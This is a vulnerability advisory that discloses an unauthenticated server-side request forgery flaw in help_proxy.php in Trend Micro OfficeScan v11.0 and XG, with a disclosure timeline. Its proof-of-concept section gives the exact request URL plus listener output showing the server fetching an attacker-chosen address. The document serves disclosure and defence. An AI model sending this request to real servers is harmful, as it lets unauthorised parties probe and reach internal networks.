Trend Micro OfficeScan v11.0 and XG (12.0)* Server Side Request Forgery

Credit: hyp3rlinx
Risk: Medium
Local: No
Remote: Yes

[+] Credits: John Page (aka hyp3rlinx) [+] Website: [+] Source: [+] ISR: ApparitionSec Vendor: ================== Product: =========== OfficeScan v11.0 and XG (12.0)* OfficeScan protects enterprise networks from malware, network viruses, web-based threats, spyware, and mixed threat attacks. An integrated solution, OfficeScan consists of the OfficeScan agent program that resides at the endpoint and a server program that manages all agents. The OfficeScan agent guards the endpoint and reports its security status to the server. The server, through the web-based management console, makes it easy to set coordinated security policies and deploy updates to every agent. Vulnerability Type: =================== Unautherized Server Side Request Forgery CVE Reference: ============== N/A Security Issue: ================ Unauthorized LAN attackers that can reach the OfficeScan XG application can make arbitrary HTTP requests to external and internal servers. Abusing a Server Side Request Forgery flaw in the "help_Proxy.php" functionality. Exploit/POC: ============= https://VICTIM-IP:4343/officescan/console/html/Widget/help_proxy.php?url=http://<REQUESTED-IP>:8080 python -m SimpleHTTPServer 8080 Serving HTTP on port 8080 ... <REQUESTED-IP> - - [31/May/2017 12:21:41] "GET / HTTP/1.1" 200 - help_proxy.php HTTP response: {"request_url":"http:\/\/<REQUESTED-IP>:8080","http_code":200,"flag":1} Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification: May 31, 2017 Vendor reply: "We confirmed that this is a valid vulnerability. We are now working on a hotfix to remediate the issue." : June 30, 2017 Vendor releases fixes / advisory : September 27, 2017 September 28, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx


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